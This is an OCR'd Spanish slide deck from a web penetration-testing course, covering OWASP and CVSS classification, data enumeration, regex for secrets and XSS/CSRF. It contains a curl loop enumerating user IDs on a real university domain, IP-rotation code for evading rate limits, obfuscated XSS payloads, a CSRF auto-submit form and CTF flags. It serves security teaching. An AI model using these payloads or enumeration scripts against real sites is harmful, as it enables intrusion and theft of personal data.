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Resumen

Cliente
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Nmap
Criptografia
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Flujo
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Objetivo
Reflexiones
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Aritmética
Cédigo
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BurpSuite
IDOR
Avanzados
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Reporte
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Clase 4: Incursion

Cliente

Avanzados
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N. Clase Mi ] M3 M4
1 Introduccién Contexto Ciberseguridad HTTP Hacktitud
2 Reconocimiento Subfinder Nmap FFuF BurpSuite
3 Acceso Fundamentos  Criptografia Tecnologia IDOR
[ 4 Incursién Clasificacion ~ Divulgacion Cliente Avanzados ]
5 Légica Negocio Flujo Aritmética Diserio
6  Inyeccion SQL 0S Cédigo Parametros
7  informe Equipos Objetivo Metodologia  Reporte
8  Conclusion Resumen Reflexiones CVE Futuro
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Nombre
Clasificacion
Divulgaciéon
Cliente
Avanzado

Divulgacion Cliente
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Clase 4: Incursion

Descripcion

Indexacion de vulnerabilidades
Exfiltracion de datos sensibles
Inyecciones en el navegador
Ataques web (Recorrido, Subida)

Avanzados
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1 Indices

2 Catélogo
3 CVSS

4  Impacto
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Divulgacion Cliente
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Médulo 1: Clasificacion

Descripcion

Tipos de clasificaciones

Lista de vulnerabilidades web
Common Vulnerability Scoring System
Consecuencias de explotaciones

Avanzados
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Sesiéon 1: Indices

(Médulo 1: Clasificacion)
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Tipo

Origen
Explotacién
Impacto
Probabilidad
Dificultad

Divulgacion Cliente
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Tipos de tipos

Ejemplo

Configuraciéon incorrecta
SQLI, IDOR

Exposicion de datos sensibles
Autenticado

Cadena de 4 exploit

Avanzados
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Servidor vs cliente

Las vulnerabilidades del servidor se centran en la ejecucién de cédigo malicioso en el servidor
(por ejemplo, PHP), mientras que las vulnerabilidades del cliente se enfocan en la ejecucion de
cbdigo malicioso o flujos maliciosos en el lado del cliente (por ejemplo, JavaScript).

Servidor: Vulnerabilidades que afectan al servidor web y a la aplicacion que se ejecuta en él.

Cliente: Vulnerabilidades que afectan al navegador del usuario y a la interaccion del usuario
con la aplicacion web.

Como consecuencias, las vulnerabilidades del servidor pueden afectar a multiples usuarios y

datos, mientras que las del cliente suelen impactar a un solo usuario.

Tinmarino 9


https://www.tinmarino.com

Clasificacion Divulgacion Cliente Avanzados
00000@00000000000000000 0000000000000 0O00O0000 0000000000000 000O0O00O00O000000000 000000000000 000

OWASP top 10 (Origen)

AO01:2021-Pérdida de control de acceso

A02:2021-Fallas criptograficas

A03:2021-Inyeccién

A04:2021-Disefio Inseguro

A05:2021-Configuracion de seguridad incorrecta
A06:2021-Componentes Vulnerables y Obsoletos
AQ7:2021-Fallas en la identificacién y autenticacién
A08:2021-Fallas en la integridad del software y los datos

Y 0~ o Uk W

A09:2021-Fallas en el registro y monitoreo de seguridad

S

A10:2021-Falsificacion de peticion del lado del servidor

Tinmarino 10


https://owasp.org/www-project-top-ten/
https://owasp.org/Top10/A01_2021-Broken_Access_Control/
https://owasp.org/Top10/A02_2021-Cryptographic_Failures/
https://owasp.org/Top10/A03_2021-Injection/
https://owasp.org/Top10/A04_2021-Insecure_Design/
https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/
https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/
https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/
https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29/
https://www.tinmarino.com
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Modelisacién de amenaza (Riesgo)

Negligible Moderate Significant

Very likely Medium Medium - High

Unlikely

e e

Tinmarino n

Very unlikely

- Low - Medium Medium Medium - High
Possible - Medium Medium - High | Medium - High


https://www.manageengine.com/data-security/what-is/cybersecurity-risk-assessment.html
https://www.tinmarino.com
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CVSS V4.0 (Impacto)

c/ss

Common Vulnerability Scoring System Version 4.0 Calculator

CVSS v4.0 Score: 8.4 / High @

ion is available in the list of links on the left, along with a User Guide providing additional sc uidance, an Examples document of

Specifi 9
scored vulnerabilities, a set of Frequently Asked Questions (FAQ), and both JSON and XML Data Representations for all versions of CVSS.

Base Metrics
Exploitability Metrics
Attack Requirements (AT):
Privileges Required (PR): e (N)
User Interaction (U):
etrics

Confcentaliy (v

Integrity (V1) High (H) None (N)

Subsequent System Impact Metrics

Conndentaty 50 [ righ 3
p—— :
Avatabity ) :

Tinmarino


https://www.first.org/cvss/calculator/4-0
https://www.first.org/cvss/calculator/4-0
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Sesion 2: Catélogo

(Médulo 1: Clasificacion)
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Vulnerabilidades servidor

1. Divulgacion

2. Inyeccién

3. Control de acceso quebrado
4. Otros

Tinmarino 14


https://www.tinmarino.com

Clasificacion

000000000080 00000000000

Acrénimo
ID

IDOR

Pll

CFI

API
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Servidor: Divulgaciones

Ingles

Information Disclosure

Insecure direct object references
Personally Identifiable Information
Configuration Information Disclosure
APl Information Disclosure

Nombre

Fuga de informacion

Acceso directo a objetos inseguros
Informacion Personal Identificable
Fuga de informacion de configuracion
Fuga de informacién de API

Descripcion

Exposicion de datos sensibles.
Acceso mediante ID de objeto
Enumeracion de datos personales
Version del servidor

Lista de los endpoints
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XMLI
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Ingles

SQL Injection

XML Injection

XML External Entity
0OS Command Injection
Code Injection

Divulgacion Cliente
0000000000000 0O00O0000 0000000000000 000O0O00O00O000000000

Servidor: Inyeciones

Nombre Descripcion

Inyeccion SQL Inserta codigo SQL malicioso

Inyeccion de XML Manipula datos XML.

Inyeccion de entidad externa XML XXE en -endpoint-de-ejemplo en www.entel.cl
Inyeccion de comandos Ejecuta comandos del sistema.

Inyeccion de codigo Inyecta codigo en la aplicacion.

Avanzados
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Servidor: Control de acceso quebrado

Acrénimo Ingles
Broken Access Control
Broken Authentication
Account Takeover

Tinmarino

Nombre

Control de acceso quebrado
Autenticacion Rota

Toma de control de cuenta

Descripcion

Compromete datos de usuario
Compromete cuentas de usuario
Secuestro de cuenta arbitraria
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Acrénimo

LFI
RFI
Tl
IFU
SSRF
PT
DI

Tinmarino

Divulgacion

Ingles

Insecure Deserialization
Local File Inclusion

Remote File Inclusion
Template Injection

Insecure File Upload
Server-Side Request Forgery
Path Traversal

DNS Injection

0000000000000 0O00O0000

Cliente Avanzados
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Servidor: Avanzadas

Nombre

Deserializacion insegura
Inclusién de archivos locales
Inclusién de archivos remotos
Inyeccion de plantillas

Subida insegura de archivos

Falsificacion de solicitudes del servidor

Recorrido de ruta
Inyeccién de DNS

Descripcion

Manipula objetos deserializados

Lectura o escritura de archivos arbitrarios del servidor
Inclusién de archivos desde un servidor remoto
Inyecta codigo en plantillas

Subida insegura de archivos permite RCE/LFI
Realizacion de una solicitud HTTP arbitraria

Acceso a archivos fuera del directorio permitido
Manipulacion del registro DNS

000000000000 000
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Vulnerabilidades cliente

Ingles

Cross-Site Scripting

Cross-Site Request Forgery
Cross-Origin Resource Sharing
Clickjacking

Open Redirect

Nombre

Scripting entre sitios

Falsificacion de Solicitudes entre Sitios
Configuracion de CORS Insegura
Redisefio de Interfaz (Clickjacking)
Redireccion Abierta

Descripcion

Inyecta scripts en paginas web

Realiza solicitud desde otro sitio

Permite accesos no autorizados

Realiza clic en elementos ocultos desde otro sitio
Redirige a usuarios a sitios maliciosos

Avanzados
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Sesion 3: CVSS

(Médulo 1: Clasificacion)
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CVSS V4.0 (Showcase)

c/ss

Common Vulnerability Scoring System Version 4.0 Calculator

.4/ High ®

Specification is available in the list of links on the left, along with a User Guide provi ring guidance, an Examples document of
scored vulnerabilities, a set of Frequently Asked Questions (FAQ), and both JSON and XML Data Representations for all versions of CVSS.

Base Metrics?

Exploitability Metrics
Attack Vector (AV):
Attack Complexity (AC): )
Attack Requirements (AT): Present (P
Privileges Required (PR):

~N
User Interaction (U): None (N)

etrics

Confidentiality (VC):

Integrity (V) High (H) None (N)

vlabiley (V) s

Subsequent System Impact Metrics

Confidentialty (SO [ Hion 9 0

Integrity (S): igh (H) None (N)

Auslabilty 68 : Hone 1)

Tinmarino
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https://www.first.org/cvss/calculator/4-0
https://www.first.org/cvss/calculator/4-0
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Clasificacion

Tinmarino

Divulgacion Cliente
[e]e] o]

CVSS V4.0 certificate

((, L. FIRST CVSS v4.0 Certificate | FIRST Leaming

On 11/10/2023, Tinmarino NobleRat successfully
completed a training opportunity offered by FIRST. They are
hereby awarded this FIRST Learning Certificate of
Completion in:

CVSS v4.0

Presented by:

Tracy A. Bills
Chair
Forum of Incident Response and Security Teams, Inc.

Avanzados
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https://learn.first.org/unit/view/id:2049
https://learn.first.org/unit/view/id:2049
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Clasificacion
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CVSS
9.3 / Critico

7.1/ Alto

6.9 / Medio

2.1/ Bajo

Tinmarino

Divulgacion Cliente Avanzados
0000000000000 0O00O0000 0000000000000 000O0O00O00O000000000 000000000000 000

CVSS V4.0 ejemplos

Vulnerabilidad

Ejecucién de coédigo remoto no autenticada

Divulgacién masiva de datos Pll de clientes mediante RUT.
Nombre, correo, nimero de teléfono y direcion

Cambio de la direccion de los empleados,

autenticado como admin

Denegacién de servicio de un endpoint por

expresion regular maliciosa, autenticado como admin.

23


https://www.first.org/cvss/calculator/4-0
https://www.first.org/cvss/calculator/4-0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
https://www.first.org/cvss/calculator/4-0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
https://www.first.org/cvss/calculator/4-0#CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
https://www.first.org/cvss/calculator/4-0#CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
https://www.tinmarino.com
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Sesion 4: Impacto

(Médulo 1: Clasificacion)
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Impacto para el negocio

Impacto
Consecuencias financieras
Multas y sanciones

Reputacional
Costos de recuperacion

Interrupcion del servicio

Dificultades en la innovacién

Tinmarino

Descripcién

Pérdidas directas significativas

Multas por incumplimiento de regulaciones
Desconfianza de los clientes y empleados
Gastos asociados a la remediacion

y la mejora de la seguridad

Tiempo de inactividad

Limitacién al crecimiento
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Impacto para el negocio

Impacto Descripcion

Consecuencias financieras Pérdidas directas significativas

Multas y sanciones Multas por incumplimiento de regulaciones
Reputacional Desconfianza de los clientes y empleados

.. Gastos asociados a la remediacién
Costos de recuperacion . .
y la mejora de la seguridad
Interrupcion del servicio Tiempo de inactividad

Dificultades en la innovacién Limitacion al crecimiento

® Paradigma de desplazamiento a la izquierda (proactividad).

Tinmarino 26
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Impacto para el negocio

Impacto Descripcion

Consecuencias financieras Pérdidas directas significativas

Multas y sanciones Multas por incumplimiento de regulaciones
Reputacional Desconfianza de los clientes y empleados

.. Gastos asociados a la remediacién
Costos de recuperacion . .
y la mejora de la seguridad
Interrupcion del servicio Tiempo de inactividad

Dificultades en la innovacién Limitacion al crecimiento

® Paradigma de desplazamiento a la izquierda (proactividad).

® La seguridad es un camino, no un destino.
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Encadenamiento de vulnerabilidades

Vulnerabilidad 1 Vulnerabilidad 2

Divulgaciéon de GUID IDOR en GUID

Acceso no autorizado a recursos sensibles mediante GUIDs
Enumeracion de usuarios Clave débil

Acceso no autorizado a cuentas mediante credenciales débiles
Cambio de direccion de correo Bypass de 2FA

Toma de control de cuenta al eludir la autenticaciéon de dos factores
Falta de control de acceso Inyeccion de comandos
Ejecuciéon de comandos maliciosos con privilegios elevados

XSS CSRF

Ejecucién de acciones no autorizadas en nombre del usuario

Tinmarino

Avanzados
000000000000 000
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Factores agravantes

Factor

Masiva

Sin autenticacion
Naturaleza de los datos
Regulaciones

Falta de proteccion

Tinmarino

Descripcién

Exposicion de datos de mdltiples blancos
Falta de controles de acceso

Exfiltacion de Pl

Violacién de leyes de proteccién de datos
Ausencia de Firewall, WAF, CAPTCHA
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Factores agravantes

Factor Descripcion
Masiva Exposicion de datos de mdltiples blancos
Sin autenticacion Falta de controles de acceso

Naturaleza de los datos Exfiltacion de PlI
Regulaciones Violacién de leyes de proteccién de datos
Falta de proteccion Ausencia de Firewall, WAF, CAPTCHA

Aplicar el paradigma de defensa en profundidad

Tinmarino 30
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Médulo 2: Divulgaciéon
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Sesidon 1: Fuentes
(Médulo 2: Divulgacion)
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Fuentes de datos

Respuestas del servidor (.html, .json)

Codigo Fuente (.git, .php)

Informes (.pdf, .jpg)

Foros y comunidades en linea (.txt, .md)

Buscar sistematicamente IDORs.
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Sesidn 2: Recolecciéon
(Médulo 2: Divulgacion)
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Bash cURL job

for i in {0..100}; do
curl "https://uc.cl/users/$i" & # Note the "&"
done

Tinmarino 35


https://www.tinmarino.com

Clasificacion
0000000000000 0000000000

Palabra

Asincronismo

Concurrencia

Paralelismo

Multitarea

Tinmarino

Divulgacion Cliente

Avanzados
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Vocabulario

Descripcién

Ejecucion no bloqueante,

permite continuar sin esperar.

Mdltiples tareas simultdneamente,

no necesariamente al mismo tiempo.
Ejecucion simultdnea de tareas.
Capacidad de un sistema para gestionar
multiples tareas.

Pensar

Padre abandonico

Sélvese quien pueda
Carrera

Malabarismo
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Python concurent

import requests
from concurrent.futures import ThreadPoolExecutor

def fetch url(id):
response = requests.get(f'https://example.com/{id}")

return response.text

with ThreadPoolExecutor() as executor:
results = list(executor.map(fetch url, range(10)))

print (results)

Tinmarino 37


https://github.com/python/cpython/blob/main/Lib/concurrent/futures/
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Python aiohttp

import asyncio; import aiohttp

async def fetch url(session, id):
async with session.get(f'https://example.com/{id}') as
< response:
return await response.text()

async def main():
async with aiohttp.ClientSession() as session:
tasks = [fetch_url(session, id) for id in range(10)]
results = await asyncio.gather (*tasks)
return results
print(asyncio.run(main()))

Tinmarino 38


https://github.com/aio-libs/aiohttp
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Avanzados

Clasificacion Divulgacion Cliente
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Python request-ip-rotator

from requests import Session

from requests_ip_rotator import ApiGateway

site = 'https://example.com'

gateway = ApiGateway(site, regions=["us-east-1", "us-east-2"])
gateway.start ()

for i in range(10):
session = Session()
session.mount (site, gateway)
response = session.get(f'{site}/{id}")
print (response.text)

Tinmarino 39


https://github.com/Ge0rg3/requests-ip-rotator
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Sesidn 3: Analisis
(Médulo 2: Divulgacion)

7

Tinmarino 40


https://www.tinmarino.com

Clasificacion Divulgacion Cliente Avanzados
000000000000 00000O000000 000000000 0e000000000 0000000000000 000O0O00O00O000000000 000000000000 000

Datos

Informaciéon de software

Rutas y accesos

CVEs encontradas

Informacién Personal Identificable (Pll)
Datos sensibles

ID, GUID, Token para IDORs

o Uk W
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Herramientas

WPScan en caso de CSM Wordpress.
Git Dumper en caso de .git/ expuesto.

One Regex para buscar en textos.

Gmaps API Scanner en caso de filtrar APl KEY de GMaps
(AIza[0-9A-Za-z- 1{35}).

® CVE Search para buscar CVE mediante version de software.
® XSSStrike para buscar XSS.

® Recon-NG para orquestrar las otras herramientas mediante GUI.
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https://www.kali.org/tools/
https://github.com/wpscanteam/wpscan
https://github.com/arthaud/git-dumper
https://github.com/Lu3ky13/Search-for-all-leaked-keys-secrets-using-one-regex-
https://github.com/ozguralp/gmapsapiscanner
https://github.com/cve-search/cve-search
https://github.com/s0md3v/XSStrike
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Herramientas

WPScan en caso de CSM Wordpress.
Git Dumper en caso de .git/ expuesto.

One Regex para buscar en textos.

Gmaps API Scanner en caso de filtrar APl KEY de GMaps
(AIza[0-9A-Za-z- 1{35}).

® CVE Search para buscar CVE mediante version de software.
® XSSStrike para buscar XSS.

® Recon-NG para orquestrar las otras herramientas mediante GUI.

Ninguna reemplaza un lenguaje de programacion (Bash, Perl, Python).
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Sesion 4: Regex
(Médulo 2: Divulgacion)
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RegEx: Descripcion

Las expresiones regulares o simplemente RegEx, son secuencias de caracteres
que definen un patrén de bdsqueda. En términos mas simples, son una cadena
de texto que describe un conjunto de combinaciones posibles de caracteres y

permite realizar operaciones avanzadas de bisqueda y coincidencia en cadenas.
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Cadena literal

import re

pattern = re.compile(r"hello")

result = pattern.match("hello world")
print (result.group()) # Salida: hello
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Cualquier caracter (Wildcard)

import re

pattern = re.compile(r".at")

result = pattern.match('"cat")
print(result.group()) # Salida: cat
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Conjunto especifico de caracteres

import re

pattern = re.compile(r"[aeioul")
result = pattern.findall("hello")
print (result) # Salida: ['e', 'o']
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Caracteres opcionales

import re

pattern = re.compile(r"colou?r")
result = pattern.match("color")

print (result.group()) # Salida: color
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Repeticiones

import re

pattern = re.compile(r"\d{3}-\d{2}-\d{4}")
result = pattern.match("123-45-6789")
print(result.group()) # Salida: 123-45-6789
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Inicio o fin de una cadena

import re

pattern = re.compile(r" start")

result = pattern.match("start of something")
print(result.group()) # Salida: start

pattern = re.compile(r'"end$")

result = pattern.search("something at the end")
print(result.group()) # Salida: end
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Agrupacion y captura

import re

pattern = re.compile(r" (\d+)-(\d+)")
result = pattern.match("10-20")
print(result.group(1)) # Salida: 10
print (result.group(2)) # Salida: 20
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Buscar y reemplazar

import re

pattern = re.compile(r"\d+")

result = pattern.sub("NUM", "There are 123 apples")
print(result) # Salida: There are NUM apples
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Mirada atras positiva

Asegura que un patrén sea seguido por otro patrén:

import re

pattern = re.compile(r"\d+(?=-\d+)")

result = pattern.search("123-456")

print (result.group()) # Salida: 123 (coincide solo si es
- seguido por '-\d+')
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Mirada atras negativa

Asegura que un patrén no sea seguido por otro patrén:

import re

pattern = re.compile(r"\d+(?![a-z])")

result = pattern.search("123abc")

print(result.group()) # Salida: 123 (coincide solo si no es
- seguido por una letra mintscula)

Tinmarino 55


https://www.tinmarino.com

Clasificacion Divulgacion Cliente Avanzados
000000000000 00000O000000 000000000000 00000000 0000000000000 000O0O00O00O000000000 000000000000 000

Mirada adelante positiva

Asegura que un patrén sea precedido por otro patrén:

import re

pattern = re.compile(r" (7<=@)\w+")

result = pattern.search("user@example.com")
print(result.group()) # Salida: example (coincide solo si es
- precedido por 'Q')
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Mirada atras negativa

Asegura que un patrén no sea precedido por otro patrén:

import re

pattern = re.compile(r" (?<![A-Z])\d+")

result = pattern.search("abc123")

print(result.group()) # Salida: 123 (coincide solo si no es
o precedido por una letra mayidscula)
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Nombre

RUT

URL

Google API key
AWS Access Key
Email

JWT

IP Address
uuID
Password

API Key
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Tabla de fragmentos web |

Patrén

(\d{1,3}(?7:\.\d{1,3}) {2}-[\dkK])

(https?|£tp) :\/\/["\s/$.72#] . ["\sl*

AIza[0-9A-Za-z-_]{35}

A[SK]IA[0-9A-Z]{16}

[a-zA-Z0-9._%+-1+@[a-zA-Z0-9.-]1+\. [a-zA-Z]{2,}

ey [A-Za-z0-9-_=]1+\. [A-Za-z0-9-_=]1+\.7[A-Za-z0-9-_.+/=1%*$
~(7:[0-91{1,3}\.){3}[0-911{1,3}$

[a-fA-F0-9]1{8}-[a-fA-F0-9]1{4}- [a-fA-F0-9]{4}- [a-fA-F0-9]{4}- [a-fA-F0-9]{12}
(?:password\ | passwd\ |pwd\ | token\ [secret) [=:]\s*['"]?([a-zA-Z0-9_-1+)['"]?
(7:api[_-]7key\|access[_-]7token\|secret) [=:]\s*['"]?([a-2zA-Z0-9_-1{20,})['"]?
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Nombre

IPv4 Address

MAC Address

HTML Tag

uuID

Git SHA-1

MD5 Hash

Date (MM/DD/YYYY)
Time (HH:MM:SS)
Text File Path
Markdown Link
Social Security Number
Credit Card Number
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Mas fragmentos

Patrén

(?:(7:25[0-5] |2[0-4] [0-9] | [01]?[0-9] [0-9]17)\.){3}(?:25[0-5] |2[0-4] [0-9] | [01] 7 [
<([a-z1-61+) ([T<1+)*(7:>(.%x)<\/\1>|\s+/>)

<([a-z1-61+) ([T<1+)*(7:>(.*x)<\/\1>|\s+/>)
[0-9a-f]1{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab] [0-9a-f]{3}-[0-9a-f]{12}
[0-9a-f]{40}

[a-fA-F0-9]1{32}

(0[1-9]11[0-2])/(0[1-9111[0-9112[0-9]113[0-11)/(19]20)\d{2}
(?:[01]\d|2[0-3]): [0-5]\d: [0-5]\d

\/(?: [C\/1+\/)*["\/]1+\.txt

NLC*2)NINCC*?)\)

\d{3}-\d{2}-\d{4}

(7:4[0-91{12}(?: [0-9]1{3})7|5[1-5] [0-9]1{14}|6(7:011|5[0-9] [0-9]) [0-9]1{12}|3[47]
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Nombre

Social Media Username
Number Range: 1..100
YouTube Video URL
Github Repository
Hexadecimal Color Code
Whitespaces
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Mas fragmentos

Patréon

@[a-zA-70-9_]{1,15}

([1-9] | [1-9]1 [0-9]1100)

(https?\:\/\/) 7 (www\.)?(youtube\.com|youtu\.?be)\/.+

(https?\:\/\/) ?(www\.) ?github\.com\/ [A-Za-z0-9_.-]1+\/[A-Za-z0-9_.-]+
#7([a-f0-9]1{63}| [a-f0-9]1{3})

\s+
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Enlaces

Algunos enlaces para explorar més sobre el fascinante mundo de las

Expresiones Regulares:

® Documentacion sobre Expresiones Regulares (Python Cocs)

Guia Répida sobre RegEx por Perl
Depurador de Regex en APl Web
Explicacion Interactiva y Busqueda de Regex en APl Web

Sitio Web sobre Especificaciéon de Regex

TUI para Depurar Regex (Damian Conway en Perl)
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Ejercicio opcional: email finder

Mision: Desarrollar un programa que busque todos los correos electrénicos en archivos de
texto de entrada y muestre el conteo de nimeros para cada correo electrénico (1 hora).

Pasos:

1. Crear un archivo de texto de prueba que contenga correos electrénicos.

2. Iniciar un cédigo en Python que busque todas las cadenas de correo electrénico. Utiliza
una blsqueda regex en una cadena codificada.

3. Agregar un contador de las cadenas de correo electrénico encontradas.
Salida de los correos electronicos en un formato bonito con su conteo en orden
decreciente (los correos electronicos mas frecuentes primero).

5. Tomar nombres de archivos como entrada utilizando el médulo ArgumentParser.
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Médulo 3: Cliente
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Sesion 1: XSS

(Médulo 3: Cliente)
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XSS en breve

1. Los XSS son inyecciones de JavaScript en navegador del cliente.

2. Se detectan por reflexion de pardmetros de solicitud en la respuesta.
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XSS en largo

La explotacion de una vulnerabilidad de Cross-Site Scripting (XSS) podria
permitir a un actor de amenazas inyectar c6digo JavaScript malicioso en
paginas web. Esto ocurre cuando una aplicaciéon no sanitiza adecuadamente la
entrada del usuario, lo que podria permitir la ejecucién del coédigo en el

navegador de otros usuarios.

La deteccion de XSS reflejado se centra en identificar la inyeccion de cédigo
en las respuestas del servidor. Aunque su impacto directo es bajo, su alta

prevalencia las convierte en un riesgo significativo.
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Almacenado

Reflejado

Basado en DOM
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Tipos de XSS

Descripcion

El tipo mas critico de XSS, que ocurre cuando la entrada del usuario

se almacena en la base de datos del servidor y se muestra al recuperarla.
(por ejemplo, publicaciones o comentarios).

Ocurre cuando la entrada del usuario se muestra en la pagina

después de ser procesada por el servidor, pero sin ser almacenada.

(por ejemplo, resultados de bisqueda o mensajes de error).

Otro tipo de XSS No Persistente que ocurre cuando la entrada del
usuario se muestra directamente en el navegador y se procesa
completamente en el lado del cliente, sin llegar al servidor.

(por ejemplo, a través de parametros HT TP del lado del cliente).

67


https://www.tinmarino.com

Clasificacion Divulgacion Cliente Avanzados
000000000000 00000O000000 0000000000000 0O00O0000 00000000000 0000000000000000000 000000000000 000

Impactos de XSS

Ejecucion de codigo JS
Fabricaciéon de solicitudes
Exfiltracién de datos
Toma de cuenta

Robo de credenciales

o Wi g W N =

Encadenacién explosiva
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XSS DOM

@ 200 x o+ v

= G A Notsecure 83.136.255.192

ik [D Elements Console Sources Network Performance

<html lang="en

</head>

Next Task:

nk rel="stylesheet" href="./bootstrap-theme.min.css
nk rel="stylesheet" href="_./bootstrap.min.css">
/script>

q s"></script>

/bootstrap.m
form-group”>

</script>

<div v>

=+ w<ul class="list-unstyled” id="todo"> == $@

I <img src onerror="alert(document.cookie)"> I
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XSS reflejado

© 200 AR o x
€ 5 C  ANotseawe 92375910 * B X @
Elements  Console  Sources Network Performance Memory >> o1 @ i X
Styles Computed >
[ L Y Fohov s +, G
{
Tel="styl netdna. bootstrapcdn. con/bootstrap/3.0.3/cs | o
25px

s/bootstrap-theme.min,cs:

h LInetdna. bootstxapedn. con/bootstzap/3.0.3/cs | |

0.3/js/bootst

otstrapcdn. con/bootstrap/3.0 bootstrap.min.css

src="//netd

" method="GET
01" placeholder="Your Task

form role="forn" action="inde

t" class= name=

btn btn-prinary">Add</butto

box-sizing

bordez-box;

src="https://cdnjs.cloudflare. con/ajax/Libs/jquery/2.1.3/jquery.n

s"></script
class="list-u
style="padd

isolate;

}

>alert (document . cookie)</scr l
Inherited from

bootstrap.min,css..
list-unstyled {

list

body ul#ttodo.listunstyled  div
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XSS reflejado

Avanzados
000000000000000

B 94.237.59.10:48603/index.php?task=<script>alert%28document.cookie%29<%2Fscript>

94.237.59.10:48603 says
cookie=HTB{r3fl3c73d_back_2_m3}

</html>
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@ online Image Viewer  x  + v - o x
& + (@ A Notsecure 10.129.93.170/ g, ript>ale Tipt a % 5 1S ®
& [0 Elements Console Sources >> ECUIE I 4

Online Image
Viewer

'><script>alert(42)</script

>

Tinmarino

1DOCTYPE html>

<html lang="en"> b

» <head> (= </head>

v<body style="background-color: #141d2b; font-family: sa
ns-serif; color: white;">
v<center>

<h1>0Online Image Viewer</hl>
w<div class="form-group">
» <form role="form" action="index.php" method="GET"
id="urlform"> @ </form>
<br>

__ oo

I <script>alert(42)</script> I

</div>
</center>
</body>
</html>
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XSS almacenado

@ 200 x + -
€ C A Notsecure 94.237.55.96:597

| Elements Console Sources

<html lang

<script>alert{document.c

" //neti

"Llnety

src="https://cdnjs.cloudfli

id="todo

Tinmarino
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a % 5 A @

94.237.55.96:59791 says

€ > X A Notsecure 94.237.55.96:59791/index.php
[0 | Elements
n.css">

cookie=HTB{570r3d_for_3v3ryOn3_70_533}

femory >>

o1 @ X

Event Listeners >
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<link rel="style

netdna.bootstrap:
ap/3.0.3/css/boo

">

hov s +, 8 [

<script src="//netdna.bootstrap .|}
cdn.com/bootstrap/3.8.3/js/boot body { Hoots:rap witlicss 7
st_r_amj_s PG . font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
b <div class="form-group"> font-size: 14px;
. : i
slente . line-height: 1.428571429;
<script src="https://cdnjs.clou color: [ B
dflare.com/ajax/1libs/jquery/2. backgroﬁﬁd-colror: W EFFE
1.3/jquery.min.js"></script> 3 s
<div></div>
» <ul class="list-unstyled" id="t [ body { bootstrap.min.css:7
odo"> o </ul> margin: » @;
W
gibodys *y *:ibefore, *:after { bootstrap.min.css:7
</html> - ! = D
html  bodv -mn7-hny-=i7 Bereat by
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Cargas de XSS

<script>alert (42)</script>
<img src/onerror='alert(document.cookie) '>

<%04img

< src/onerror="var+func+}3d+['a',+'1',+'e' ,+'r',+'t'].join("");
this[func].callO" >

span+onclick="var+func+%3d+['a',+'1' ,+'e' ,+'r',+'t'].join("'");

this[func].call()">Youthave+beentHacked+by+Dreamlab-td><-14<

® PayloadAllTheThings XSS
® PayloadBox XSS
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Casos reales

var+func+y3d+['a',+'1l' ,+'e',+'v',+'t'].join("'");;
var+dd+%3d+['d',+'o',+'c' ,+'u’
,#'m',+'e' ,+'n',+'t'].join(" ') %3bthis [func] (this[dd] .cookie);

; Jvar+func+%3d+['a',+'1' ,+'e' ,+'r' ,+'t'] . join("'") ;var+dd+

%3d+[|d| ,+|O' ,+'C' ,+"Ll' ,+'III' ’+|e| ,+'Il' ’+|t|] .jOiIl(' |)%3b
this[func] (this[dd] .coo

kie) ;function

dummy () {a=

tinmarino@gmail.com'+onmouseovery,3d'alert (42) '+href="
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Sesion 2: CSRF

(Médulo 3: Cliente)
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CSRF

https://vulnerable-website.com/email/change?email=pwned@evil-user.net

X Change email address

—_— o~
D> D

~

.8
: @ -»vn D)
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CSRF: Definiciéon

Acréonimo: CSRF: Cross-Site Request Forgery: Falsificacion de Solicitudes entre
Sitios
Definiciéon: CSRF es una vulnerabilidad de seguridad web que permite a los

atacantes inducir a los usuarios a realizar acciones no intencionadas en

aplicaciones web donde estan autenticados desde otra pagina web.

Mecanismo: Aprovecha la confianza que una aplicacion web (victima) tiene en
el navegador del usuario, lo que permite a un tercero (atacante) eludir la politica
de mismo origen y ejecutar comandos no autorizados en nombre el usuario

(victima)
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CSRF: Solicitud

POST /email/change HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded
Content-Length: 30

Cookie: session=yvthwsztyeQkAPze(5gHgTvlyxHfsAfE

email=wiener@normal-user.com
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CSRF: Respuesta

<html>
<body>
<form action="https://vulnerable-website.com/email/change"
< method="POST">
<input type="hidden" name="email"
- value="pwned@evil-user.net" />
</form>
<script>
document . forms [0] . submit () ;
</script>
</body>
</html>
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CSRF: Impacto

® Acciones no intencionadas: Los ataques CSRF exitosos pueden llevar a
acciones como cambiar detalles de la cuenta, transferir fondos o alterar
permisos de usuario sin el consentimiento del usuario.

® Compromiso de la cuenta: Si la victima tiene privilegios elevados, el
atacante puede obtener el control total sobre la aplicaciéon, lo que lleva a

violaciones de datos y riesgos de seguridad significativos.
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CSRF: Requisitos

Avanzados
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1. Accion Relevante: La aplicacion debe tener acciones que puedan ser
explotadas, como cambiar contrasefias o direcciones de correo electrénico.

2. Sesiones Basadas en Cookies: La aplicacién depende (nicamente de
cookies de sesion para la autenticacion del usuario sin mecanismos de
validacién adicionales.

3. Parametros Predecibles: Las solicitudes no deben requerir pardmetros
impredecibles que el atacante no pueda adivinar, lo que facilita la
falsificacion de solicitudes.

Tinmarino
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CSRF: Defensas

® Tokens CSRF: Tokens Unicos e impredecibles generados por el servidor
que deben incluirse en las solicitudes para validar la autenticidad.

® Cookies SameSite: Una caracteristica del navegador que restringe como
se envian las cookies con solicitudes entre sitios, reduciendo el riesgo de
CSRF.

® Validacion del Referer: Comprobacién del encabezado HTTP Referer
para asegurar que las solicitudes se originen desde el mismo dominio,

aunque este método es menos efectivo que los tokens CSRF.
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Sesion 3: ClickJacking

(Médulo 3: Cliente)
